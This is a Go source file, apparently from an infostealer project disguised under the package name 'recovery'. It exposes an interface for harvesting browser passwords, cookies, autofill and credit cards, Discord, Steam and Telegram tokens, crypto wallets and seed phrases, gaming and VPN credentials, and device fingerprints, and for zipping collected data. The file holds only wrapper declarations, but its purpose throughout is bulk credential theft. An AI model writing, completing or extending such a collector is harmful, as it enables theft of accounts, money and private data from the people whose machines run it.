61 lines
2.6 KiB
Go
61 lines
2.6 KiB
Go
package recovery
|
|
|
|
import (
|
|
"recovery/recovery/fingerprint"
|
|
"recovery/recovery/scanner"
|
|
"recovery/recovery/types"
|
|
"recovery/recovery/ziputil"
|
|
)
|
|
|
|
type CollectOptions = types.CollectOptions
|
|
type CollectionResult = types.CollectionResult
|
|
type Payload = types.Payload
|
|
type BrowserConfig = types.BrowserConfig
|
|
type ProfileInfo = types.ProfileInfo
|
|
type ResolvedKeys = types.ResolvedKeys
|
|
type PasswordResult = types.PasswordResult
|
|
type CookieResult = types.CookieResult
|
|
type AutofillResult = types.AutofillResult
|
|
type HistoryResult = types.HistoryResult
|
|
type BookmarkResult = types.BookmarkResult
|
|
type CreditCardResult = types.CreditCardResult
|
|
type DiscordTokenResult = types.DiscordTokenResult
|
|
type FileResult = types.FileResult
|
|
type ExtensionResult = types.ExtensionResult
|
|
type WalletResult = types.WalletResult
|
|
type TelegramResult = types.TelegramResult
|
|
type KeyResult = types.KeyResult
|
|
type SeedResult = types.SeedResult
|
|
type AppCredentialResult = types.AppCredentialResult
|
|
type GamingResult = types.GamingResult
|
|
type SteamResult = types.SteamResult
|
|
type SteamTokenResult = types.SteamTokenResult
|
|
type GameInfo = types.GameInfo
|
|
type BattleNetResult = types.BattleNetResult
|
|
type EpicResult = types.EpicResult
|
|
type RiotResult = types.RiotResult
|
|
type UplayResult = types.UplayResult
|
|
type VPNResult = types.VPNResult
|
|
type NordVPNResult = types.NordVPNResult
|
|
type WireGuardResult = types.WireGuardResult
|
|
type OpenVPNResult = types.OpenVPNResult
|
|
type MullvadResult = types.MullvadResult
|
|
type FingerprintResult = fingerprint.Result
|
|
type FingerprintJSResult = fingerprint.JSResult
|
|
|
|
func ScanExtensions() []ExtensionResult { return scanner.ScanExtensions() }
|
|
func ScanFiles() []FileResult { return scanner.ScanFiles() }
|
|
func ScanWallets() []WalletResult { return scanner.ScanWallets() }
|
|
func ScanTelegram() []TelegramResult { return scanner.ScanTelegram() }
|
|
func ScanKeys() []KeyResult { return scanner.ScanKeys() }
|
|
func ScanApps() []AppCredentialResult { return scanner.ScanApps() }
|
|
func FetchFile(path string) ([]byte, error) { return scanner.FetchFile(path) }
|
|
func ZipTelegram(path string) ([]byte, error) { return scanner.ZipTelegram(path) }
|
|
func ZipDirectory(dir string) ([]byte, error) { return ziputil.ZipDirectory(dir) }
|
|
func CollectFingerprint() *FingerprintResult { return fingerprint.Collect() }
|
|
func CollectJSFingerprint() *FingerprintJSResult { return fingerprint.CollectJS() }
|
|
|
|
func ScanSeeds(files []FileResult, passwords []PasswordResult, autofill []AutofillResult) []SeedResult {
|
|
return scanner.ScanSeeds(files, passwords, autofill)
|
|
}
|